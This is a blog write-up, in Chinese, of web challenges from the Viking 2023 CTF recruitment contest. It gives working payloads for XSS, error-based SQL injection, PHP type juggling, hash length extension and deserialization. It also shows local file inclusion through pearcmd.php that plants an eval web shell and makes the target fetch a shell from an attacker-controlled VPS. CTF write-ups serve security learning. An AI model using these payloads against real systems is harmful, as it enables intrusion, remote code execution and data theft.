Viking 2023 Recruit WriteUps~~~

本文最后更新于:7 个月前

Web

原神,启动!Ⅰ

xss入门

?name=<script>alert(1)</script>

vkctf{th1s/sAb3g1nN1ng}

Signin

屏蔽了一些东西

image-20231021234623039

那就来点朴实无华的

image-20231021234732538

flag在注释里,base64解密一下就好了

vkctf{C0ngratul4t10n!_Y0u_h4v3_f0und_th3_fl4g}

原神,启动!Ⅲ

xss依旧

随便试下,发现是跳转到输入的地址,为<a>标签

使用javascript:alert(1),添加,f12发现script变成了scr_ipt,有了过滤

"试试,发现被转义成了&quot;

这里用&#115来代替s

java&#115cript:alert(1)

vkctf{W3rrrnear2success}

easy_sql

sql入门

首先试试单引号

报错了image-20231022003019324

发现多了括号

试试万能密码') or 1=1 #

登录成功

') order by 2 #

查出两列

因为没有回显点

所以尝试报错注入

') and (select updatexml(1,concat('~',(select database())),1)) #

image-20231022004840826

得到数据库名为viking2023DB

') and (select updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)) #

image-20231022004826969

得到表名为viking2023

') and (select updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='viking2023')),1)) #

image-20231022005028106

得到列名为flag

') and (select updatexml(1,concat('~',(select flag from viking2023DB.viking2023)),1)) #

image-20231022005127837

bingo!

vking{h2llo_welc0m2_u2stc}

robot有什么作用呢?

根据题目提示,访问robots.txt

image-20231022005231643

访问/Y0u_need_t0_do_0ther_th1ng.php

发现是反序列化

image-20231022005351928

Part 1

需要绕过 is_numeric($a) && strlen($a)<=6 && $a!=0 && $a**2 == 0

要求$a不能为0,但是又平方要为0,真是的

试了半天,不会,搜了一下

发现:

php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。 也就是 0.00000…1(小数点后161个0)到0.00000…1(小数点后322个0),我们可以用科学计数法来代替,即 1e-162

得到

vkctf{1_th1nk_

Part 2

$b参数需要通过POST获得,postman启动!!

要求$b非数字,且大于2023

is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使('2024a' == 2024)为真

y0u_h4v3_kn0wn

Part 3

$c$d依然需要POST请求

这里是一个MD5碰撞

==弱类型比较

尝试可知var_dump("0e123456"=="0e234567"); //true

所以我们只需要让sha1($c)md5($d)0e开头,后面全为数字就行了

顺便把前面条件绕一下

好像爆破不出来,那上网拿一个吧

1
2
c = 10932435112
d = QNKCDZO

_s0meth1ng_ab0ut_php

Part 4

strpos()函数查找字符串在另一字符串中第一次出现的位置,如果没有找到该字符串,则返回 false

可以用数组进行绕过。

_and_rob0ts.txt!}

vkctf{1_th1nk_y0u_h4v3_kn0wn_s0meth1ng_ab0ut_php_and_rob0ts.txt!}

read_file

根据提示访问/help.txt

image-20231023001508423

让我们访问文件

一通尝试,发现/flag2.txt可以

image-20231023001608912

得到用户名和密码,且提示我们用/dict.txt

image-20231023001657353

仔细seesee,发现一个/admin,狠狠访问!

username = admin

password=YWRtaW4xMjM=

发现登陆失败,哦,忘记给密码解码了,一眼base64

解码得到admin123

image-20231023002044581

启动成功!登陆成功!

接着F12就得到flag了

viking{hi0t3vJ9obLo8oz8EujZ}

Hash_attack

image-20231024124812566

哈希长度拓展攻击,原理不太懂

找个别人写好的来用用

这里用的是HashPump(貌似库没了

image-20231024131137953

Signature是提示给的md5($salt."vkpass")

Datapass(因为判断条件$password!="pass"

Key Length则是$salt+$username的长度

Data to Add就随意了

得到一串hashpayload

现在就很清晰了(应该吧

image-20231024131735567

这里记得把\x替换成%,因为post上去会有urldecode()操作

image-20231024131755326

vkctf{1iU_2Hu_Xi_5Mi1}

剑来

访问题目,F12查看得知点击按钮跳转flag.php

image-20231023193734369

但是点了却不是flag.php

可知是302跳转

一般用curl的方式访问flag.php

可惜

image-20231023193938566

前面注意到script里会设置cookie

image-20231023194015312

根据题目猜测要把改成admin=jianlai

image-20231023194114152

vkctf{ZHi_dao_chEngRen_c8Owu_Jianla1}

签收您的gift

这真的是web吗?😖😖😖

image-20231024162718448

可以发现二维码的数据被编码了,解码就是对应的二维码图片数据了

接着,写个小脚本,或者找个小网站在线Base64转图片 (lddgo.net)),转换成图片就行了

扫码可得十个数字

image-20231024165708370

分析下generate_qr_code()函数,这里截出了有用的部分

image-20231024163425533

image-20231024163937057

从1-1000中随机选择数字作为种子seed

循环十次getrandbits(),往reveal中增加生成的字符

循环结束后,再获取一次getrandbits(),并把生成的数库塞到qrcode里

这里需要知道,当种子固定,getrandbits()获得的随机数也相应固定,那我就跟你们爆了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import random

res = [6, 252, 12, 137, 124, 102, 108, 201, 187, 200]

for j in range(1000):
reveal = []
random.seed(j)

for i in range(10):
reveal.append(random.getrandbits(8))
target = random.getrandbits(8)
# print(target)
if reveal == res:
# print(j)
print(target)
# print(reveal)

image-20231024164806099

viking{m1sc_0r_w2b_0r_crypt0?}

unserialization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == 2) {
include("flag.php");
$res = $this->read();
$this->output($res);
echo "fuck1";
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
echo "fuck again";
include("flag1.php");
$res = file_get_contents($this->filename);
echo $res;
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "3")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}
?>

查看代码:

  • is_valid()确保输入的$s的字符ASCII需要在32-125间,如果用protected序列化会产生/0/0不可见字符,不满足要求,所以使用public

  • 反序列化时不会调用__construct(),但在类即将摧毁时,会调用__destruct(),即调用process()函数

  • process()中只有op=2时,才能读flag.php

所以写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class FileHandler {

public $op = "2";
public $filename = "flag.php";
public $content ="wHy 1S YuAnsHen";

}

$a = new FileHandler();
echo serialize($a);
?>

得到:

O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:8:"flag.php";s:7:"content";s:15:"wHy 1S YuAnsHen";}

viking{BUNmH4MHP3dZf9mkdesj}

听说你会LFI

提示./phpinfo.php

image-20231026125819460

网上搜到使用pearcmd的解法利用pearcmd.php本地文件包含(LFI)-CSDN博客

在此之前我们需要确定几件事情:

1.我们要找到pearcmd.php的文件位置。正常情况下在/usr/local/lib/php/pearcmd.php

2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。

当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。

访问?file=php://filter/read=convert.base64-encode/resource=/usr/local/lib/php/pearcmd.php

解码可以得到

点击查看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
<?php
/**
* PEAR, the PHP Extension and Application Repository
*
* Command line interface
*
* PHP versions 4 and 5
*
* @category pear
* @package PEAR
* @author Stig Bakken <ssb@php.net>
* @author Tomas V.V.Cox <cox@idecnet.com>
* @copyright 1997-2009 The Authors
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @link http://pear.php.net/package/PEAR
*/

@ob_end_clean();
if (!defined('PEAR_RUNTYPE')) {
// this is defined in peclcmd.php as 'pecl'
define('PEAR_RUNTYPE', 'pear');
}
define('PEAR_IGNORE_BACKTRACE', 1);
/**
* @nodep Gtk
*/
//the space is needed for windows include paths with trailing backslash
// http://pear.php.net/bugs/bug.php?id=19482
if ('/usr/local/lib/php ' != '@'.'include_path'.'@ ') {
ini_set('include_path', trim('/usr/local/lib/php '). PATH_SEPARATOR . get_include_path());
$raw = false;
} else {
// this is a raw, uninstalled pear, either a cvs checkout, or php distro
ini_set('include_path', dirname(__DIR__) . PATH_SEPARATOR . get_include_path());
$raw = true;
}
@ini_set('allow_url_fopen', true);
@set_time_limit(0);
ob_implicit_flush(true);
@ini_set('track_errors', true);
@ini_set('html_errors', false);
$_PEAR_PHPDIR = '#$%^&*';
set_error_handler('error_handler');

$pear_package_version = "1.10.12";

require_once 'PEAR.php';
require_once 'PEAR/Frontend.php';
require_once 'PEAR/Config.php';
require_once 'PEAR/Command.php';
require_once 'Console/Getopt.php';


PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

// remove this next part when we stop supporting that crap-ass PHP 4.2
if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv'])) {
echo 'ERROR: either use the CLI php executable, ' .
'or set register_argc_argv=On in php.ini';
exit(1);
}

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}
$progname = PEAR_RUNTYPE;
array_shift($argv);
$options = Console_Getopt::getopt2($argv, "c:C:d:D:Gh?sSqu:vV");
if (PEAR::isError($options)) {
usage($options);
}

$opts = $options[0];

$fetype = 'CLI';
if ($progname == 'gpear' || $progname == 'pear-gtk') {
$fetype = 'Gtk2';
} else {
foreach ($opts as $opt) {
if ($opt[0] == 'G') {
$fetype = 'Gtk2';
}
}
}

$pear_user_config = '';
$pear_system_config = '';
$store_user_config = false;
$store_system_config = false;
$verbose = 1;

foreach ($opts as $opt) {
switch ($opt[0]) {
case 'c':
$pear_user_config = $opt[1];
break;
case 'C':
$pear_system_config = $opt[1];
break;
}
}

PEAR_Command::setFrontendType($fetype);
$ui = &PEAR_Command::getFrontendObject();
$config = &PEAR_Config::singleton($pear_user_config, $pear_system_config);

if (PEAR::isError($config)) {
$_file = '';
if ($pear_user_config !== false) {
$_file .= $pear_user_config;
}
if ($pear_system_config !== false) {
$_file .= '/' . $pear_system_config;
}
if ($_file == '/') {
$_file = 'The default config file';
}
$config->getMessage();
$ui->outputData("ERROR: $_file is not a valid config file or is corrupted.");
// We stop, we have no idea where we are :)
exit(1);
}

// this is used in the error handler to retrieve a relative path
$_PEAR_PHPDIR = $config->get('php_dir');
$ui->setConfig($config);
PEAR::setErrorHandling(PEAR_ERROR_CALLBACK, array($ui, "displayFatalError"));

$verbose = $config->get("verbose");
$cmdopts = array();

if ($raw) {
if (!$config->isDefinedLayer('user') && !$config->isDefinedLayer('system')) {
$found = false;
foreach ($opts as $opt) {
if ($opt[0] == 'd' || $opt[0] == 'D') {
// the user knows what they are doing, and are setting config values
$found = true;
}
}
if (!$found) {
// no prior runs, try to install PEAR
$parent = dirname(__FILE__);
if (strpos($parent, 'scripts')) {
$grandparent = dirname($parent);
$packagexml = $grandparent . DIRECTORY_SEPARATOR . 'package2.xml';
$pearbase = $grandparent;
} else {
$packagexml = $parent . DIRECTORY_SEPARATOR . 'package2.xml';
$pearbase = $parent;
}
if (file_exists($packagexml)) {
$options[1] = array(
'install',
$packagexml
);
$config->set('php_dir', $pearbase . DIRECTORY_SEPARATOR . 'php');
$config->set('data_dir', $pearbase . DIRECTORY_SEPARATOR . 'data');
$config->set('doc_dir', $pearbase . DIRECTORY_SEPARATOR . 'docs');
$config->set('test_dir', $pearbase . DIRECTORY_SEPARATOR . 'tests');
$config->set(
'ext_dir',
$pearbase . DIRECTORY_SEPARATOR . 'extensions'
);
$config->set('bin_dir', $pearbase);
$config->mergeConfigFile($pearbase . 'pear.ini', false);
$config->store();
$config->set('auto_discover', 1);
}
}
}
}
foreach ($opts as $opt) {
$param = !empty($opt[1]) ? $opt[1] : true;
switch ($opt[0]) {
case 'd':
if ($param === true) {
die(
'Invalid usage of "-d" option, expected -d config_value=value, ' .
'received "-d"' . "\n"
);
}
$possible = explode('=', $param);
if (count($possible) != 2) {
die(
'Invalid usage of "-d" option, expected ' .
'-d config_value=value, received "' . $param . '"' . "\n"
);
}
list($key, $value) = explode('=', $param);
$config->set($key, $value, 'user');
break;
case 'D':
if ($param === true) {
die(
'Invalid usage of "-d" option, expected ' .
'-d config_value=value, received "-d"' . "\n"
);
}
$possible = explode('=', $param);
if (count($possible) != 2) {
die(
'Invalid usage of "-d" option, expected ' .
'-d config_value=value, received "' . $param . '"' . "\n"
);
}
list($key, $value) = explode('=', $param);
$config->set($key, $value, 'system');
break;
case 's':
$store_user_config = true;
break;
case 'S':
$store_system_config = true;
break;
case 'u':
$config->remove($param, 'user');
break;
case 'v':
$config->set('verbose', $config->get('verbose') + 1);
break;
case 'q':
$config->set('verbose', $config->get('verbose') - 1);
break;
case 'V':
usage(null, 'version');
case 'c':
case 'C':
break;
default:
// all non pear params goes to the command
$cmdopts[$opt[0]] = $param;
break;
}
}

if ($store_system_config) {
$config->store('system');
}

if ($store_user_config) {
$config->store('user');
}

$command = (isset($options[1][0])) ? $options[1][0] : null;
if (empty($command) && ($store_user_config || $store_system_config)) {
exit;
}

if ($fetype == 'Gtk2') {
if (!$config->validConfiguration()) {
PEAR::raiseError(
"CRITICAL ERROR: no existing valid configuration files found in " .
"files '$pear_user_config' or '$pear_system_config', " .
"please copy an existing configuration file to one of these " .
"locations, or use the -c and -s options to create one"
);
}
Gtk::main();
} else {
do {
if ($command == 'help') {
usage(null, isset($options[1][1]) ? $options[1][1] : null);
}

if (!$config->validConfiguration()) {
PEAR::raiseError(
"CRITICAL ERROR: no existing valid configuration files found " .
"in files '$pear_user_config' or '$pear_system_config', " .
"please copy an existing configuration file to one of " .
"these locations, or use the -c and -s options to create one"
);
}

PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
$cmd = PEAR_Command::factory($command, $config);
PEAR::popErrorHandling();
if (PEAR::isError($cmd)) {
usage(null, isset($options[1][0]) ? $options[1][0] : null);
}

$short_args = $long_args = null;
PEAR_Command::getGetoptArgs($command, $short_args, $long_args);
array_shift($options[1]);
$tmp = Console_Getopt::getopt2($options[1], $short_args, $long_args);

if (PEAR::isError($tmp)) {
break;
}

list($tmpopt, $params) = $tmp;
$opts = array();
foreach ($tmpopt as $foo => $tmp2) {
list($opt, $value) = $tmp2;
if ($value === null) {
$value = true; // options without args
}

if (strlen($opt) == 1) {
$cmdoptions = $cmd->getOptions($command);
foreach ($cmdoptions as $o => $d) {
if (isset($d['shortopt']) && $d['shortopt'] == $opt) {
$opts[$o] = $value;
}
}
} else {
if (substr($opt, 0, 2) == '--') {
$opts[substr($opt, 2)] = $value;
}
}
}

$ok = $cmd->run($command, $opts, $params);
if ($ok === false) {
PEAR::raiseError("unknown command `$command'");
}

if (PEAR::isError($ok)) {
PEAR::setErrorHandling(
PEAR_ERROR_CALLBACK, array($ui, "displayFatalError")
);
PEAR::raiseError($ok);
}
} while (false);
}

// {{{ usage()

/**
* Display usage information
*
* @param mixed $error Optional error message
* @param mixed $helpsubject Optional subject/command to display help for
*
* @return void
*/
function usage($error = null, $helpsubject = null)
{
global $progname, $all_commands;
$stdout = fopen('php://stdout', 'w');
if (PEAR::isError($error)) {
fputs($stdout, $error->getMessage() . "\n");
} elseif ($error !== null) {
fputs($stdout, "$error\n");
}

if ($helpsubject != null) {
$put = cmdHelp($helpsubject);
} else {
$put = "Commands:\n";
$maxlen = max(array_map("strlen", $all_commands));
$formatstr = "%-{$maxlen}s %s\n";
ksort($all_commands);
foreach ($all_commands as $cmd => $class) {
$put .= sprintf($formatstr, $cmd, PEAR_Command::getDescription($cmd));
}
$put .=
"Usage: $progname [options] command [command-options] <parameters>\n".
"Type \"$progname help options\" to list all options.\n".
"Type \"$progname help shortcuts\" to list all command shortcuts.\n".
"Type \"$progname help version\" or ".
"\"$progname version\" to list version information.\n".
"Type \"$progname help <command>\" to get the help ".
"for the specified command.";
}
fputs($stdout, "$put\n");
fclose($stdout);

if ($error === null) {
exit(0);
}
exit(1);
}

/**
* Return help string for specified command
*
* @param string $command Command to return help for
*
* @return void
*/
function cmdHelp($command)
{
global $progname, $all_commands, $config;
if ($command == "options") {
return
"Options:\n".
" -v increase verbosity level (default 1)\n".
" -q be quiet, decrease verbosity level\n".
" -c file find user configuration in `file'\n".
" -C file find system configuration in `file'\n".
" -d foo=bar set user config variable `foo' to `bar'\n".
" -D foo=bar set system config variable `foo' to `bar'\n".
" -G start in graphical (Gtk) mode\n".
" -s store user configuration\n".
" -S store system configuration\n".
" -u foo unset `foo' in the user configuration\n".
" -h, -? display help/usage (this message)\n".
" -V version information\n";
} elseif ($command == "shortcuts") {
$sc = PEAR_Command::getShortcuts();
$ret = "Shortcuts:\n";
foreach ($sc as $s => $c) {
$ret .= sprintf(" %-8s %s\n", $s, $c);
}
return $ret;

} elseif ($command == "version") {
return "PEAR Version: ".$GLOBALS['pear_package_version'].
"\nPHP Version: ".phpversion().
"\nZend Engine Version: ".zend_version().
"\nRunning on: ".php_uname();

} elseif ($help = PEAR_Command::getHelp($command)) {
if (is_string($help)) {
return "$progname $command [options] $help\n";
}

if ($help[1] === null) {
return "$progname $command $help[0]";
}

return "$progname $command [options] $help[0]\n$help[1]";
}

return "Command '$command' is not valid, try '$progname help'";
}

// }}}

/**
* error_handler
*
* @param mixed $errno Error number
* @param mixed $errmsg Message
* @param mixed $file Filename
* @param mixed $line Line number
*
* @access public
* @return boolean
*/
function error_handler($errno, $errmsg, $file, $line)
{
if ($errno & E_STRICT) {
return; // E_STRICT
}
if ($errno & E_DEPRECATED) {
return; // E_DEPRECATED
}
if (!(error_reporting() & $errno) &&
isset($GLOBALS['config']) &&
$GLOBALS['config']->get('verbose') < 4
) {
return false; // @silenced error, show all if debug is high enough
}
$errortype = array (
E_DEPRECATED => 'Deprecated Warning',
E_ERROR => "Error",
E_WARNING => "Warning",
E_PARSE => "Parsing Error",
E_STRICT => 'Strict Warning',
E_NOTICE => "Notice",
E_CORE_ERROR => "Core Error",
E_CORE_WARNING => "Core Warning",
E_COMPILE_ERROR => "Compile Error",
E_COMPILE_WARNING => "Compile Warning",
E_USER_ERROR => "User Error",
E_USER_WARNING => "User Warning",
E_USER_NOTICE => "User Notice"
);
$prefix = $errortype[$errno];
global $_PEAR_PHPDIR;
if (stristr($file, $_PEAR_PHPDIR)) {
$file = substr($file, strlen($_PEAR_PHPDIR) + 1);
} else {
$file = basename($file);
}
print "\n$prefix: $errmsg in $file on line $line\n";
return false;
}


/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* indent-tabs-mode: nil
* mode: php
* End:
*/
// vim600:syn=php

切过去看看,可以看到register_argc_argv是开启的

image-20231026125928324

这时候就可以利用$_SERVER[‘argv’]来传递命令给pearcmd

config-create

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_GET[0]);?>+/tmp/shell.php

浏览器访问行不通,<>会被urlencode

image-20231026133801572

所以使用Burp拦截修改提交的参数

image-20231026134010084

接着蚁剑连接就行了(其实有时候,我更喜欢用$_GET,懒得开蚁剑

image-20231026134042781

install(出网

在自己vps上开个端口,写个shell,这里用的$_GET

image-20231026134439674

  • ?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[host]:[port]/shell.php

    image-20231026134628923

    可以看到shell被保存在了/var/www/html/&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/shell.php

    但是貌似读不到(压根没写进去?

    参考中这样解释的:

    &file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里我在使用的时候会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而我并没有权限对其进行写操作而导致利用失败。

  • ?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://[host]:[port]/shell.php

    image-20231026135720181

    可以看到shell被保存到了/tmp/tmp/pear/download/shell.php

    这次就可以读了

    image-20231026140047638

viking{shui_bu_zhao_naozibaozhale}

Bin


Viking 2023 Recruit WriteUps~~~
http://example.com/posts/29460/
作者
Fanllspd
发布于
2023年10月16日
更新于
2024年2月12日
许可协议